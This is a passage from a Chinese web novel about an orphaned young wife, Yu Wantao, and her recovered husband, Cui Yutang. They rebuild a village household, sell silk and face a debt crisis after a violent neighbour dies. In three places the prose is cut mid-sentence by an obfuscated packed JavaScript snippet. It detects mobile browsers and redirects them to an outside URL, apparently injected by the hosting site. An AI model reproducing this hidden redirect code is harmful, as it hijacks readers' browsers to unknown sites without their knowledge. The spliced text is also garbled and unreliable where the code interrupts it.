余晚桃从包袱里找出来，递给他。 崔玉棠爱惜地摸着翡翠盒上面熟悉的花纹，打开后里面静静躺着一枚镂空雕刻的金镶玉球，他忽然开口道:“我记起了一些小时候的事，我不在崔家族谱上，是因为确实不是爹娘亲生子，这个小玉球好像是个很重要的信物。” “以后给你了。”，崔玉棠把翡翠盒合上，重新交给余晚桃，郑重道:“家逢巨变，娘子仍对我不离不弃，你放心，我以后会努力学着挣钱养家的。” “你就叫我桃子吧，村里人都这样喊我。”，余晚桃露出一抹轻松的笑意，也不推辞，接过翡翠盒就收了起来，算是暂时接纳了这个半道得来的家人。 崔玉棠点头应了，紧握的拳头缓缓松开，醒来后一直漂浮不安的心终于寻得了一丝安稳。 从医馆离开，余晚桃就带着崔玉棠回了大桑村，本以为再不会回到这个地方，没想到才两日光景她就又混回来了。 回到村里第一件事便是去找了村长。 余村长哪能想到她嫁出去第二天就回来了，还带着个俊俏的少年郎君，当问清楚情况后，他啪嗒啪嗒抽着旱烟，好半响才点头，说道:“你成了亲，用你相公的名义确实可以立户了，可是你爹娘的那些家财田地……” 余晚桃:“我知道要不回来，我也没打算要回去，那些就当做是全了舅舅舅母的养育之恩了。我这次来找村长，只是想把我们家老屋拿回来，毕竟我出嫁了也不可能带着相公继续去舅舅家住，总要有一个落脚之地的。” 余旺夫妇是有三间老屋留下来的，虽然现在破旧了些，但也还能住人，过给陈家后李氏嫌屋子太破，就收三两银子过给村里充公了，自己拿着钱盖了一间青砖瓦房。 余村长顾着余晚桃无亲无靠，亲戚李氏又糟心，他只收了二两银子，就将那间老屋的地契还给了她。 余晚桃回来的事瞒不住，没多久村里人就都知道了，见她回了老屋这边打扫，碎嘴好八卦的婶子接二连三的过来，有的提两把青菜，有的抓几个鸡蛋，明里暗里都在打探消息。 崔府被抄家的事闹得大，迟早会传回村里，余晚桃便主动说了，算是给村民们打了一剂预防针。 只是这抄家的事情一说出来，啷些个婶子吓得瓜子都掉了，不敢再多问跑得比谁都快。 李氏也闻着味挎着菜篮子扭腰走过来了，站在屋外头哟了一声，阴阳怪气地拔高声音:“果然是个丧门星啊，一嫁过去那崔家就倒了，真不知道这脸皮子怎么长的，还好意思回村，要我啊早寻条河跳里淹死了！” 余晚桃一桶脏水泼了出去，冷着脸道:“既然我是个丧门星，那这些年怎么没丧死你们？舅母可要积点口德，不然表哥走夜路撞了鬼，被打断腿可就怪不着我了。” 李氏见她还敢顶嘴，当即就尖声破口大骂，什么难听话都倒出来了，左邻右舍听不下去纷纷围了过来。 “李氏你过分了啊，还要专门过来骂这一通，是真不怕余旺夫妇半夜去找你啊。” “就是！个黑心老泼妇得被戳一辈子脊梁骨。” “人家桃子带着相公回来自立门户了，又没上你家打秋风，在这逞甚威能，信不信老娘我打上你家去，老瘟婆这么欺负我们余氏族人！” 村里人别的本事没有，但骂嘴的功夫炉火纯青，任李氏再泼辣都得在围攻里败下阵来，跺跺脚灰溜溜地走了。 住老屋隔壁的是村里猎户，也是余氏族人，叫余天庆，他媳妇村里人都喊丁婶，是个和善热心的，巧了这次闹剧丁婶也在，等人都散了她去自己院里提了小袋苞米面过来。 “你们小夫妻过日子肯定是磕磕绊绊的，以后有什么事就到隔壁找丁婶啊，恁都是穷苦人家没什么好东西，这点面粉你们就拿着，算是丁婶一点心意。” 丁婶是个爽利的妇人，放下面粉就走了。 余晚桃连谢字都没来得及说，她拎着那小袋苞米面进了灶房，说是灶房其实就一顶破棚子，泥砌的灶台矮墩墩的，蛛网遍布，杂草丛生。 再看正屋里也是，都成老鼠窝了，简陋的木板床被蛀虫钻得咯吱响，放眼望去简直无处下脚，余晚桃撂起袖子:“先把屋子打扫出来吧，不然今晚没法子住。” 崔玉棠是十指不沾阳春水的长大，站在这幅破败的环境里极突兀，不过他却并未露出嫌弃神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561830|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，学着余晚桃卷起衣袖收拾屋子，烂的破的通通扔出去，再提着木桶去打水擦床板，洗灶台。 经过大半日的努力，屋子终于有点能住人的样，余晚桃去隔壁向丁婶买了小罐盐巴和火折子，回来后就着破口的铁锅，揉了面团，加两颗鸡蛋进去，放点盐巴，简单烙了四张鸡蛋饼。 屋里没桌没凳，两人是坐在门槛上吃的。 趁天没黑，余晚桃把自己全副身家拿了出来，“卖绒花簪得了一两，给衙门报信得了五两，又分了你二两，所得加起来是四两。” “去医馆花了近一两，赎回老屋花了二两，剩下花费的七七八八加起来，我们目前只剩下这三百文了。” 他们离开崔府时是一文钱都没带出来，只有余晚桃收拾了几件随嫁进来的破衣裳，两人现在生活，需要买的东西太多了。 被褥，衣服，灶房用具，油盐这些，关键是她名下现在是单独立户出来的，没有属于自己的田地，在村里生活总不能一直买粮吃。 崔玉棠身无分文，愧疚地低下脑袋:“要不把我给你的翡翠盒当了吧，也能得些银子维系生活。” 他漂亮的眼珠像是一下暗淡了，如明珠光华被残酷的现实打了个仰倒，长久来在家人的庇护下生活，何时需要操心过生计，直到这时仿佛才真正地从云端踩到了夯实的地面。 余晚桃没有立刻安慰他，只是扎紧钱袋子，把自己那份鸡蛋饼撕了一半下来给他:“明天我打算去买点菜籽把后院那块空地种上，你力气大，明天教你翻地。” 崔玉棠闻言眼睛亮了一下，指尖微蜷。 当夜两人是挤在一张木板床上睡的，没有被褥，只在上面铺了一板扎干稻草，夜里蛙声虫鸣不绝，两人都睡得不安稳。 翌日晨起，余晚桃只做了两张烙饼，吃完后去杂物间翻出一把钝铁锄，后院一片空地的杂草已经清理出来了，她给崔玉棠示范了一会，翻出一小片地。 “像这样把这片地翻完就可以了，我去问问谁家有菜种的。” 崔玉棠安静点头。 余晚桃让他过来，给他双手缠上几层布，这双手细皮嫩肉，肯定得起泡的。 崔玉棠握着锄把，动作生疏但胜在力气大，没一会就上手了。 余晚桃这才放心地出了门。 她径直去了村长家找林小秋，林小秋夫妇是专门种菜卖给县里酒楼的，每年都会存不少菜种。 林小秋见了余晚桃高兴得紧，喜她这会便缓过来对未来也有规划，当即便拿了许多菜种出来让她挑选。 余晚桃挑了一包白菜，一包豇豆，还跟林小秋去地里挖了几株茄子苗，“秋嫂子，这些加起来要多少文？” 林小秋挎着她的胳膊走在田垄上:“就这点东西嫂子还能收你钱？” “要给的，不然以后我都不好意思再麻烦秋嫂子了。” “甭跟嫂子客——啊！” 两人正聊着，一个被打得遍体鳞伤的人就扑到了脚边，吓得林小秋险些踩到人家田里的秧苗。 她忿忿地叉起腰，怒瞪着追上来的男人。 5. 荠菜饺子 “李铁牛你又在这大白天的打媳妇，还追到田里来，要吓着我踩坏了人家的秧苗，看我不找你赔钱！” 李铁牛虎背熊腰，面相凶悍，他一把拽过趴在田垄上的女人，扯着头发跟个物件似的提起来，对林小秋嬉皮笑脸道:“都怪这娼/货太能跑哩，听到没有！要吓着村长儿媳妇人可要找我赔钱呢，”，他一巴掌扇到女人脸上。 女人蓬头垢面，被抓到后也不挣扎了，任李铁牛折腾，她半张脸肿了起来，灰色的眼珠子瞪得大大的，像是没有生气的木偶人。 林小秋不想跟这狗癞子扯皮，拉着余晚桃就朝另一条田垄绕走了，“这李癞子天天打媳妇，小细柳总有一天得被他打死了。” 余晚桃垂眸沉默，她在陈家时就听过一些八卦，李铁牛是李氏娘家哥哥，从小斗鸡摸狗，长大酗酒好赌，是村里出了名的狗癞子，成年后官配到一名慈济堂的孤女做媳妇，就是小细柳。 慈济堂是官府出资创办的，着幼养无亲故的孤女，待到及笄后就会分配出去，有的自降乐籍去了官乐坊，也有的被分配到各府邸后院当婢女，或通房侍妾，再者一些则由官府配给成年后娶不到媳妇的寡汉。 小细柳到了李家后没过过一天安生日子，不仅要面对李铁牛的打骂，还要受头顶婆婆李寡妇的磋磨。 要不说李氏和李寡妇是亲母女，磋磨人的本事简直一脉相承。 别过了林小秋，余晚桃去山脚下摘了些野荠菜，想着回去包顿荠菜饺子吃。 到家时日头已经起来了，她往后院去，见崔玉棠把地翻得差不多了，便把人喊到了屋檐下:“这么大日头也不知道歇歇，快去喝点水，剩下的我来弄就行。” 崔玉棠脸颊被晒得红彤彤的，汗珠子颗颗往衣襟里坠，他摇摇头说:“我帮你种菜。” “歇着吧，用不着你。” 种菜费不了些许力气，把翻过的地铺平，碾碎大块的土头，捡走草根，然后挖一排排规整直顺的沟渠出来，买来的菜种分别撒进去，茄子苗则直接种。 余晚桃动作利索熟练，从水井里摇了两桶水上来铺洒均匀便算弄好了，其实茄子苗应该沤点肥料进去会长得更好，不过现在条件有限，也只能如此了。 五月份野荠菜不够水嫩了，不过对于两天只吃了几张烙饼的人来说，一顿野荠菜饺子已经是非常美味了。 “得打一套木桌椅子才行。”余晚桃喝了口寡白的饺子汤，同崔玉棠说起自己的计划:“明天进山看能不能找着些山货去卖，等安定下来后我想拿回爹娘的桑蚕园，桑蚕园是爹娘一辈子的心血，不能让舅母他们糟蹋了。” 崔玉棠点头:“都听你的。”，他放了碗，把手上缠的布扯开，掌心被磨得发红，指骨下面冒了水泡，又被布条缠着压破了，粉色的皮肉外露着。 这一双指骨分明的手很漂亮，像莹润通透的白玉，余晚桃收回目光:“如果真的能拿回桑蚕园，到时养蚕做营生我有信心能把日子过好，娘说你从小聪慧，如今好不容易恢复了神智，合该去书院求学，考取功名。” “要是能得个秀才功名，那家里就不用缴税了，能省不少银子。” “娘他们能活着到西北吗？”，崔玉棠神情有些哀伤。 余晚桃顿了顿。 那天晚上在崔府，从两个神秘人的对话得知，抄家背后似是牵扯到了什么隐秘，估计崔家人活不了。 “别想这些了，二郎，娘希望我们过得好，不要辜负了她的期许。”，余晚桃定定望着他，目光坚毅，充满了对未来规划的跃跃欲试，眼中没有一丝迷茫。 她也仅仅十六岁，比自己还小两岁，瘦瘦的肩膀就已经抗起了这个家。 崔玉棠愧疚地收拾好了自己的情绪，不再哀愁多思，开始认真去思考自己接下来要做的事。 —— 大桑村背靠延绵数千里的青山，群峰起伏迎合着当地的丘陵地貌，山不高但林子深，猛兽多，除了猎户，村民们都不会冒着危险进深山，平时挖野菜找山货都是在外围。 知道余晚桃要进山，丁婶一早就过来了，说她家男人正打算上山打猎，让两人跟着进山，山里野兽多，和熟悉地形的猎户一起走能安全些。 猎户余天庆是要进深山的，到了山林内围他就自己走进去了。 余晚桃和崔玉棠沿着小路往上走，周围鸟雀叽喳叫着，绿意盎然葱葱郁郁，斑驳太阳光影碎碎落在林间，途径一条山溪，余晚桃猛地停住脚步，“这溪里的鱼真大，没准今天能吃一顿鱼肉呢。” “我来抓。”，崔玉棠放下背篓从里拿出柴刀，去附近削了一根尖木过来，“以前大哥带我去庄子里摸鱼，我力气大准头好，一扎一个准。” “二郎这么厉害。”余晚桃不吝啬夸奖，她凑近溪边，脱了布鞋，赤脚伸进溪水里，冰凉的溪水冻得她一激灵，往水里寻摸着，还能摸到一些小螺蛳。 她抬头看四周，见溪边平坦的地势上长着不少野桑树，这边基本没什么村民来，桑树叶茂密青绿，像是没被采摘过的。 余晚桃拍拍手站起，赤脚往那片桑树跑过去，掀开宽绿的桑叶，隐秘处结着不少白团，她摘了一个下来仔细看，眼眸瞬间放出光亮，是野蚕结的茧团！ 被巨大的惊喜砸中，余晚桃一下蹦了起来，旋即按耐着心里冒腾的兴奋，她回头高喊:“我找到野生蚕茧了！” “我叉到鱼了！”，崔玉棠举起手里甩尾的鱼，扬起一抹笑容，自崔家出事以来，他一直都是安静惶然的，仿佛直到现在，才真正融入了大桑村的生活。 两人几乎同时开口，对视一眼，蓦地笑出声，几日来萦绕在脸上的忧愁在这一刻通通化作笑声，随着风吹散了。 有了收获，两人都格外卖力，余晚桃把这一片的野蚕茧都摘了下来，用宽大的桑叶垫在竹篓底部，再把蚕茧倒进去，能有大半筐左右，就算不做绒花饰品，缫了丝拿去布坊卖也能得不少进项。 那边崔玉棠叉到三条草鱼，两大一小，用藤蔓串着鱼鳃提在手里，颇有些自豪地掂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561831|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量着。 “走，去别处看看还有没有野桑树。”，余晚桃想着再碰碰运气。 崔玉棠轻松背起竹篓，单手提着鱼跟在她后面，两人翻过一个小土坡，发现有不少鲜嫩的野苋菜，斜坡上几个妇人都在抢着摘。 余晚桃也加入了抢野苋菜的大妈队伍中。 她瞧见李寡妇家的小细柳也在，便从崔玉棠手里解了一条鱼下来，不动声色地靠过去，快速把那条鱼扔进她篮子里，“细柳婶，这是我家二郎在溪里抓的鱼，你拿回去炖着吃吧。” 小细柳愣住，李铁牛名声太烂，村里人平时根本不会主动过来搭话，她当下就想把鱼拿出去，“这怎么行，一条鱼值七八个铜板呢，我买不起的。” 余晚桃瞧了眼她手腕露出来的淤青，说:“送你的不用钱，我知道你难，我以前在舅母家过的什么日子你应该也听说过。” 她叹了口气，“我本来都想着，自己无亲无故的，在这世上又没牵绊，大不了跟他们拼了，左右都是死，能拖走一个是一个，逼急了谁都能狠起来。” 小细柳闻言浑身一震，抬头看着余晚桃，像是她说了多大逆不道的话。 “我也就随便想想，婶子你听个乐就行。”余晚桃笑了笑，“我现在自立门户，虽然穷，但不用寄人篱下，不用挨打挨骂，这些好日子，都是我靠自己反抗挣来的。” 怎么反抗……小细柳眼里出现迷茫。 话点到为止，余晚桃不再多说，跟崔玉棠下了山，她打算把一条鱼拿去给丁婶，换把酸菜，便让崔玉棠先把东西背回家，自己提着鱼去敲丁婶的门。 来开门的是丁婶的小女儿柔妹，她睁着黑溜溜的眼睛，小声问:“桃子姐，你是来找我娘吗？” “嗯嗯，你娘不在家？”，余晚桃跨进余家院里。 柔妹皱着鼻子:“娘在蚕舍里着急呢。” “怎么了？” “我们家的蚕不吃桑叶了，娘说救不过来了。” 余晚桃走到余家蚕舍，敲了敲门，朝里喊:“丁婶我能进去吗？” “进来吧。” 余晚桃推门进去，一股臭味乍然在鼻尖炸开，她皱着鼻绕过地上装着桑叶的竹篓，去看趴在蚕座边干着急的丁婶。 “丁婶，你这些是五龄的蚕？”，五龄期的蚕已经开始吐丝了，余晚桃往蚕座上看了眼，发现上面有些蚕在到处乱爬，个别背上还冒着绿幽幽的汁液。 丁婶忧愁道:“前几天还好好的，这突然就不吃桑叶了，眼看着就能上木簇吐丝了，这一个多月怕是又得白费。” 余晚桃弯腰去翻看竹篓里的桑叶，探到最底发现大部分都是又热又湿的，再去看那些乱爬的蚕背上出现的汁液，她皱眉道:“丁婶，你这些桑叶都闷作一堆没有散开，桑叶太湿热，蚕吃了会不适应，这应该不是第一次了，我看有些蚕已经得了脓病。” “啊？”，丁婶立马慌了:“那还能救吗？” 余晚桃沉思片刻，轻点了一下头:“能救。” 6. 卖蚕丝 余晚桃徐徐道:“不过，以现在的条件救不了那些已经染上脓病的，可以隔离出来后适当撒一些生石灰粉，再用淡盐水喷洒桑叶，等桑叶吸收盐分后再切碎喂食，接下来就只能看它们自身的恢复能力。” “我们摘回来的桑叶一定要清洗干净，然后摊开晾干，不能堆在一起，还有周围环境也要保持干燥通风，我看这两天中午温度都比较高，婶子可以去井里打两桶井水上来放在蚕房里适当缓和一下闷热的空间。” 蚕群脓病的传染速度很快，为了抢救丁婶的这批蚕，余晚桃留了下来帮她隔离病蚕，直到入夜了，才紧急把病蚕都隔离到单独的蚕座上。 丁婶心里很过意不去，想要留她下来吃顿饭，但余晚桃想着家里还有人，就推辞了，她向丁婶借了一台缫丝架，掐了两把酸菜，便踏着月色往家回。 所幸两家离得近，不用走几步路就到了。 余晚桃把缫丝架放屋里，提着酸菜往烛光昏沉的灶房里走过去，到了灶台前却闻着一股鱼腥味，她掀开氤氲着热气的锅盖，就见铁锅里炖着一条连鱼鳞都没刮的鱼，她有些用力的放下锅盖，砰地一声响。 崔玉棠蹲在灶前，原是脑袋一点一点的，被这声吓得一激灵，背倏地绷紧，见是余晚桃回来了，他揉着眼睛站起身:“你回来了？” 余晚桃皱着眉，压着火气:“这鱼你一没刮鱼鳞，二没掏内脏就直接煮了，你觉得能吃吗？” 崔玉棠闻言便知做错事了，他有些小声地解释:“你许久没回来，我等得饿了就想自己动手煮。” 余晚桃捏着眉心:“你不会你就别弄，好好的鱼都浪费了，这是我们几天里唯一的荤腥，现在都不成吃了。” “对不起……”，崔玉棠委屈地垂着脑袋，原本一头柔顺的乌发乱糟糟披着，双手绞在身前，指腹上还有着新鲜的烫伤，好不狼狈。 余晚桃一时不知道该怎么生气了，她做不到去要求一个傻了多年的，才恢复过来的人立刻变得成熟懂事。 她语重心长道:“二郎，我们如今没有锦衣玉食的生活了，对待粮食一定要珍惜，我知道你还没适应这种拮据的处境，但是往后定要记得，不能随意浪费粮食。” 崔玉棠闷闷地点头，抬起玻璃珠般水润清透的眼睛看着余晚桃，那一刹那也当真是让余晚桃真切地体会了一番，什么叫“一张漂亮脸蛋的杀伤力。” 这个人，骨子里带着娇养出来的矜贵，情绪是细腻的，或许是还有着失去亲人的惶恐不安，恢复正常后变得安静内敛，他甚至可以一整天的坐在门槛那，自己消磨情绪。 余晚桃在心里叹了口气：“丁婶家的蚕生病，我帮她处理了一阵，这才耽搁了时间。” “这个鱼不成吃了，今晚将就着做顿酸菜馅的烙饼吧，明天把蚕茧处理了，换些米面回来，再买块肉改善伙食。” 两人在一个屋檐下生活，总是要互相磨合的，余晚桃知晓这个道理，这朝说开了，便动手将铁锅里的冷鱼处理掉，快速揉了面团出来，她看袋里面粉已经见底了，心里琢磨明天定要把蚕丝缫出来。 一夜安眠，隔壁鸡鸣时余晚桃就起来了，她让崔玉棠到山脚去捡柴火，自己忙活着拨蚕衣，烧水煮茧。 缫丝是一门精细又磨耗时间的活，把控着煮茧的时间，等茧软下来后过水洗干净，直至颗颗蚕茧雪白无杂质，就可以拿草尖扫理出线头，缠在缫丝架上，单手匀速转动把手，滚筒圆架转动起来，蚕丝根根分明，攀在架子上被缫顺。 崔玉棠捡了柴火回来帮忙煮茧，余晚桃缫丝，二人配合着忙活了一整日，终于将半筐蚕丝全部缫出来，留了两络用来做绒花品，其余的十三络则是要拿去布坊换钱的。 翌日二人赶早步行去县里，崔玉棠仰头看着渐渐升高的太阳，有些担忧:“我家以前开绸缎铺的，但是却没关注过蚕丝的价格，我们贸然拿去卖，会不会被压价？” 余晚桃煮蚕缫丝的手艺娴熟，缫出来的成品蚕丝络络分明，洁白无瑕，一看便是上等品，他们穿着贫寒，那些老板自然会趁机宰一把。 “所以不能直接拿去卖，得等。”，余晚桃侧过身，把崔玉棠背上竹篓的灰布盖严实些，“我们多走几家布坊，等其他上门去卖蚕丝的人去询价，对此下来应该就能知道蚕丝大概的价格了。” “其他事也是一样，不能当第一个出头的，要摸清楚情况了，胸有成竹了再做，会事半功倍。” 崔玉棠点头，将话听进了心里。 身上家产薄，两人这次上县里是自己带了烙饼的，一路穿过热闹的街集，来到县里最大的布坊门铺，他们寻了个檐角坐好，各自吃着手里的烙饼。 千丝坊是县里鼎鼎有名的布坊，这么会功夫就有不少蚕农挑着担子进去了，余晚桃撇了一眼，发现他们卖的都是没有处理过的生蚕茧，她快速吃完饼子，站起身拍拍屁股的灰尘，让崔玉棠坐着别动，自己进了千丝坊。 千丝坊不似其他店铺整洁安静，或许是因为进进出出的都是村子里的蚕农，余晚桃进去了竟也不显得突兀，她走到其中一桩生意前，听着对话。 “这批蚕茧个头还算大，可以给到三十文一斤，你这拢共六十五斤。”，千丝坊管事拨了拨算盘，慢悠悠道:“是一两银子并九百五十文。” 蚕农扒到秤砣杆上确认了重量无误，才排队去柜前领钱。 管事见余晚桃往这边盯着看，他招手让人过来:“姑娘可是家中也有人要卖蚕茧？” 余晚桃走过去，仰头看他:“管事的，你们这里收不收蚕丝？” 管事挑起眉毛，道:“蚕农缫丝手艺不行，白白糟蹋了蚕茧，我们千丝坊目前是只大量收蚕茧，蚕丝得看质量。” “那质量好的，你们能给多少价格？” “若质量好，我们可给出五百文一络。”管事从柜台里取出一络处理好的蚕丝给她瞧。 余晚桃出了千丝坊，又去了另外几家询价，果不其然都是差不多的价位，蚕丝不愧是有“软黄金”之称的名品，在这偏远的又盛产桑蚕的县地，都能卖到五百文一络。 生蚕茧一斤三十文，而一络蚕丝才几十克重，就能给到五百文，其中差价简直跨了鸿沟。 要是往北而去的都城，岂非更夸张。 她一络蚕丝能做两支绒花簪，而一支就能卖五百文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561832|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这么算下来，减去买铜丝和配饰的成本，一支簪的纯利润能有四百文左右。 探清楚了价格，余晚桃决定就在千丝坊卖，再进店铺时，那管事第一眼看的，却是她身边的崔玉棠，他微微睁大了眼，似是十分惊讶。 “这是崔家的二郎吧？怎么没……” 千丝坊是做布匹生意的，想来之前和崔家绸缎铺有生意往来，所以认得人。 余晚桃简单解释了一下，就拿出自己缫好的蚕丝，摆到柜台上:“管事的，烦请看看，这些蚕丝可能卖上价？” 管事一阵唏嘘，随即被眼前的蚕丝吸住了目光，络络整齐，雪白无瑕宛若银丝，他惊喜道:“你家可是有祖传的缫丝手艺？” “我爹娘以前经营桑蚕园的，是有些手艺，不过他们已不在了，我只学得一二分本事，实在惭愧。” “一二分已是不错了，你可知现在要找到一位手艺好的缫丝师傅有多难。”，管事一拍掌，激动道:“这些我们千丝坊都收了，以后的蚕丝也都可拿到这来，只要质量一样，皆以五百文一络收，如何？” “当然可以，那就先谢过管事了。” 五百文一络，十三络便是得了六两五百钱。 有了进项，这趟算没白来。 接下来便是一番采买，被褥，米粮，以及一些琐碎的生活用品都一一购置，又去布庄买了两匹粗棉布，打算做两身换洗的衣服。 这一通下来便花去了二两银子。 最后到肉铺割了五斤肉，十斤板油，两人这才往城门口去，花两文钱坐上了回村的牛车。 好巧不巧，陈文祖从县里书院归家，坐的也是这趟牛车。 余晚桃喊了他一声，就懒得搭理了。 倒是陈文祖，摆着一副长兄的派头，与她说教道:“如今娘一个人打理着桑蚕园万般辛苦，你有空去县里闲逛，怎不过去帮娘干下活？” 余晚桃委屈道:“表哥怎么这般说我？明明是我刚回村的时候舅母过老屋来骂我，说不准我过去打秋风，我才没敢上门的。” “她那只是气话。”，陈文祖烦躁道。 “只怕舅母说的是气话，也是真话，我还是不过去惹她闲了。”，余晚桃坐在摇摇晃晃的车板上，说话声音也没刻意压着，引得其他八卦的婶子也伸嘴过来叭了几句。 陈文祖被说得脸涨红，忿忿闭了嘴。 余光见端坐在余晚桃身边的少年郎眉眼惊人，身姿清俊，饶是穿着粗布衣也比他一身青衫书生袍要文雅贵气，当即气得心中一郁，扭开了视线。 到了大桑村，却见村口大槐树底下围了一帮村民，李氏尖锐的嚎哭声一茬接一茬拔高，仿佛在哭丧一般，瞥见归家来的陈文祖，她一下子扑了过来，哭嚎道:“文祖啊你可算回来了，你可要给你娘做主啊！那些赌坊的泼皮无赖喊打喊杀的我可怎么办啊——” 围观的村民散开了些，露出中间凶神恶煞的赌坊打手，和躺在木板上，闭目青脸一身血的李铁牛，人显然是没气了。 李寡妇坐在地上捶地大哭，嘴里不停咒骂着，而小细柳则守在李铁牛的尸首旁，面色平静，甚至有一丝快意。 7. 李家祸事 大桑村杂姓多，虽然日常吵吵闹闹的，但遇上真事还是一致对外的，村里对于赌坊打手到村口闹事的行为都很抵触，这朝纠结了一帮年轻汉子，要是陈文祖没出现，估计都已经开打了。 李氏哭嚷着:“村里谁不知道恁哥哥是个本分老实的，怎么可能去赌坊里欠着二百多两银子，你们这些造孽的黑心坊子，就可着我们老实人欺负，如今恁哥吃醉酒摔没了，就赶着上来抢银子，没有天理了啊！” 赌坊打手黑了脸，抽出刀狠厉道:“白纸黑字签的契约，就是到了天老爷那我们也是在理的，他李铁牛死了照样得还，不然我们赌坊多得是手段弄死你们。” 李氏被吓得脸一白，也不敢扯天嚷嚷了，鹌鹑似的躲到陈文祖身后。 陈文祖在县里上学自然知晓这些赌坊的通天手段，他心里慌乱，面上却不得不端出从容来:“各位壮士，这欠债的是李铁牛，我娘是出嫁女，就算催债也催不到她头上吧。” “文祖你——” “闭嘴！” “欠债还钱，天经地义，但冤有头债有主，在下乃书院学子，自认县里好友不少，若赌坊执意不讲道理，把这债推到我们身上，那在下也不介意到县衙走一趟，是非自有县令大人辨明。” 陈文祖这反应倒是快，把自己从这巨债里撇得干干净净，只是这般态度，免不了得被村里人传他冷漠自私，对母亲娘家见死不救。 余晚桃见人群里的林小秋扭身走了，她也没再看这闹剧，跟着进村去，她小声问:“那李癞子真是喝醉酒摔死的？” 林小秋咦了一声，一脸晦气地道:“可不是嘛，听说昨夜里从赌坊回来的，不知怎么就走到村东边的坟山去了，那坟山不高其实也摔不死，但那李癞子像被鬼摄住了一样，连喊救都不会，硬生生把血流没了。” “他这人倒死了干净，可这二百多两的债留下来，卖田卖地也还不起啊。” 回了家，余晚桃静静坐在门槛边思考。 崔玉棠把采买的东西拿出来摆到灶房去，被褥卷好拿进屋里，出来时见她还楞楞坐着，就问:“在想什么？” “我在想，这或许是个拿回桑蚕园的机会。”，余晚桃说着话，起身进灶房里，洗了手准备熬猪板油。 崔玉棠则自觉去帮她生火。 十斤猪板油能熬一大罐子猪油，油渣用来炒青菜更是增添香气，舀了猪油起来铁锅里还油汪汪的，余晚桃把五花肉厚切，倒进锅里翻炒至金黄，等油滋滋冒着肉香了，再切一把酸菜进去，加水焖煮半小时，一道简单的酸菜炖五花肉就做好了。 趁着灶肚里还有火，又敲了两个鸡蛋做碗蛋花汤出来。 屋里没桌凳，他们是直接蹲在灶头吃的，崔玉棠头次觉得猪肉也能这么好吃，他昂着脑袋扒了一口米饭:“我明天去村里问问谁家会做木活的，打一套桌椅回来。” 余晚桃：“还有席子，再编个竹席，不然晚上睡觉稻草老扎脖子。” “行。” 吃了饭，余晚桃把碗一撂，端起之前分出去的一海碗酸菜五花肉，对崔玉棠叮嘱道:“等会吃好了记得去把菜地浇了，我去一趟舅舅那。” 崔玉棠忙抱着碗站起:“我跟你一起去。” “不用，我就过去探个消息。”，余晚桃端着碗出了门，一路飘着肉香，逢人问就说家里炖了肉，拿一碗去舅舅家。 陈家这会不安生，李氏是泼天的骂，陈文祖则阴郁地坐着，那李铁牛的尸体被抬了回去，赌坊打手今儿被唬住回去了，但反应过来后肯定会再来堵人的。 陈老根啪嗒啪嗒抽着烟，沟壑纵横的黝黑脸上印满沧桑。 见院门开着，余晚桃就直接进去了，她细细喊了一声:“舅舅，舅母。” “你来干什么？看老娘笑话是不是！”，李氏没给她好脸，一股怨气泄到她身上。 余晚桃垂下眼睫:“家里做了酸菜五花肉，我给舅舅舅母端了一碗过来。” “你们日子难过，得顿肉吃自己留着就是，还拿来给舅舅做什么。”，陈老根心疼她太过于懂事，起身就要推她出门。 “站住！”，李氏一擦眼泪骨碌爬起来，跑过去抢了那碗肉到手里，狠瞪了陈老根一眼，将余晚桃推到门板上骂道:“老娘养这贱蹄子几年，这是该她孝顺的。” 余晚桃被李氏推了一把，肩膀砸在门板上，她嗫嚅道:“舅母，我听说了铁牛叔的事，他欠了这么多银子，那些赌坊打手不会善罢甘休的，崔家给的聘礼也才一百两，哪里够还赌坊的债，舅母还是要早做打算。” 做打算，能做什么打算。 李氏气得几乎吐血，就算把人卖了也……她忽然把目光放在面前的贱丫头身上。 余晚桃对她笑笑，也不看面色复杂的陈老根，转身回家去了。 夜里，未免事发突然惹崔玉棠担心，她提前说道:“明日那些赌坊的打手可能会来找我，你只要他们一来，你就立刻去找村长。” 崔玉棠闻言腾地坐起:“赌坊打手为什么会来找你？” “舅母要再把我卖一次呗。”，余晚桃打了个哈欠，“我那舅母的德行，我今天特意去她那说了一嘴当时把我卖你家得了一百两，她肯定心动了。” 崔玉棠联想到她之前说要回桑蚕园的话，一下反正过来了，他凑过去压低声音:“你怎么就确定桑蚕园落赌坊手里了还能要回来？那些都是亡命之徒，能要人命的。” 余晚桃给他说了自己的计划，只要赌坊被查封，桑蚕园到了官府手里就好办了。 